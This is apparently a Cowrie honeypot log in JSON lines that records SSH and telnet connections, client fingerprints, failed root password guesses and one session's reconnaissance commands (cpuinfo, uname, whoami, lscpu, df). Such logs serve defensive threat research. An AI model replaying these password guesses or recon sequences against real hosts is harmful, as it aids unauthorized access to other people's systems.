{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.214837Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.377492Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.525575Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.529456Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.692026Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.840908Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:08.844666Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.006301Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.148905Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.152606Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75852918624878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.159440Z","src_ip":"135.148.14.151","session":"999289308389","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.313299Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.449586Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.453241Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.614314Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.783610Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.786982Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:09.948060Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:10.084023Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:10.087552Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:10.091583Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:10.174681Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:10.179732Z","src_ip":"212.227.125.15","session":"474da8fcbc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57476,"dst_ip":"159.203.135.109","dst_port":23,"session":"a39c9c6bc9f9","protocol":"telnet","message":"New connection: 135.148.14.151:57476 (159.203.135.109:23) [session: a39c9c6bc9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:10.201060Z"}
{"eventid":"cowrie.session.closed","duration":34.10565233230591,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:14.577422Z","src_ip":"135.148.14.151","session":"22297cd17ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.048338413238525,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:16.649885Z","src_ip":"135.148.14.151","session":"4c3e5a712fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39198,"dst_ip":"159.203.135.109","dst_port":23,"session":"63dd66dd80c4","protocol":"telnet","message":"New connection: 135.148.14.151:39198 (159.203.135.109:23) [session: 63dd66dd80c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:33.387998Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45414,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac39dbebca5","protocol":"telnet","message":"New connection: 135.148.14.151:45414 (159.203.135.109:23) [session: fac39dbebca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:40.330889Z"}
{"eventid":"cowrie.session.closed","duration":34.01688265800476,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:44.217830Z","src_ip":"135.148.14.151","session":"a39c9c6bc9f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.208.21.122","src_port":59058,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0699bfdb928","protocol":"telnet","message":"New connection: 8.208.21.122:59058 (159.203.135.109:23) [session: b0699bfdb928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:52.346432Z"}
{"eventid":"cowrie.session.closed","duration":0.0783994197845459,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:52.424688Z","src_ip":"8.208.21.122","session":"b0699bfdb928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":55576,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92139c8e1a8","protocol":"ssh","message":"New connection: 103.98.149.87:55576 (159.203.135.109:22) [session: f92139c8e1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:59.841120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:38:59.873311Z","src_ip":"103.98.149.87","session":"f92139c8e1a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:00.099084Z","src_ip":"103.98.149.87","session":"f92139c8e1a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motul1","message":"login attempt [root/motul1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:01.355523Z","src_ip":"103.98.149.87","session":"f92139c8e1a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:02.678477Z","src_ip":"103.98.149.87","session":"f92139c8e1a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84541153907776,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:07.233249Z","src_ip":"135.148.14.151","session":"63dd66dd80c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78952956199646,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:14.120302Z","src_ip":"135.148.14.151","session":"fac39dbebca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56774,"dst_ip":"10.17.0.5","dst_port":22,"session":"d30ec17d0ce6","protocol":"ssh","message":"New connection: 87.251.79.125:56774 (10.17.0.5:22) [session: d30ec17d0ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:14.532335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:14.541337Z","src_ip":"87.251.79.125","session":"d30ec17d0ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:14.615652Z","src_ip":"87.251.79.125","session":"d30ec17d0ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerasdf123","message":"login attempt [root/qwerasdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:14.836430Z","src_ip":"87.251.79.125","session":"d30ec17d0ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:15.914427Z","src_ip":"87.251.79.125","session":"d30ec17d0ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"2336e820b7de","protocol":"telnet","message":"New connection: 135.148.14.151:35822 (159.203.135.109:23) [session: 2336e820b7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:23.280334Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56572,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e3d21c0fab2","protocol":"telnet","message":"New connection: 135.148.14.151:56572 (159.203.135.109:23) [session: 0e3d21c0fab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:35.195523Z"}
{"eventid":"cowrie.session.closed","duration":0.005403995513916016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:35.200706Z","src_ip":"135.148.14.151","session":"0e3d21c0fab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43486,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4015af41fab","protocol":"telnet","message":"New connection: 135.148.14.151:43486 (159.203.135.109:23) [session: a4015af41fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:38.165189Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7dc8b4ddca","protocol":"telnet","message":"New connection: 135.148.14.151:49734 (159.203.135.109:23) [session: 6e7dc8b4ddca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:52.236265Z"}
{"eventid":"cowrie.session.closed","duration":33.142141580581665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:56.422356Z","src_ip":"135.148.14.151","session":"2336e820b7de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00206995010376,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:57.645410Z","src_ip":"135.148.14.151","session":"7a6968d5e859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52872,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd9b4fee269","protocol":"telnet","message":"New connection: 135.148.14.151:52872 (159.203.135.109:23) [session: 5bd9b4fee269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:39:59.484247Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53598,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89c1cdefcd6","protocol":"telnet","message":"New connection: 135.148.14.151:53598 (159.203.135.109:23) [session: f89c1cdefcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:03.068077Z"}
{"eventid":"cowrie.session.closed","duration":34.304370164871216,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:12.469467Z","src_ip":"135.148.14.151","session":"a4015af41fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.90136671066284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:26.137460Z","src_ip":"135.148.14.151","session":"6e7dc8b4ddca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37722,"dst_ip":"159.203.135.109","dst_port":23,"session":"5286c4308b21","protocol":"telnet","message":"New connection: 135.148.14.151:37722 (159.203.135.109:23) [session: 5286c4308b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:31.247727Z"}
{"eventid":"cowrie.session.closed","duration":33.777429819107056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:33.261520Z","src_ip":"135.148.14.151","session":"5bd9b4fee269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38328528404236,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:40.451207Z","src_ip":"135.148.14.151","session":"f89c1cdefcd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":56514,"dst_ip":"159.203.135.109","dst_port":22,"session":"2020f245c225","protocol":"ssh","message":"New connection: 46.19.67.181:56514 (159.203.135.109:22) [session: 2020f245c225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:48.486634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:48.491581Z","src_ip":"46.19.67.181","session":"2020f245c225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:48.605718Z","src_ip":"46.19.67.181","session":"2020f245c225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexyboy","message":"login attempt [root/sexyboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:48.947854Z","src_ip":"46.19.67.181","session":"2020f245c225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:40:50.065053Z","src_ip":"46.19.67.181","session":"2020f245c225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.72475981712341,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:04.972350Z","src_ip":"135.148.14.151","session":"5286c4308b21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"e79e70ff91d8","protocol":"ssh","message":"New connection: 103.173.227.57:56712 (159.203.135.109:22) [session: e79e70ff91d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:41:06.223677Z"}
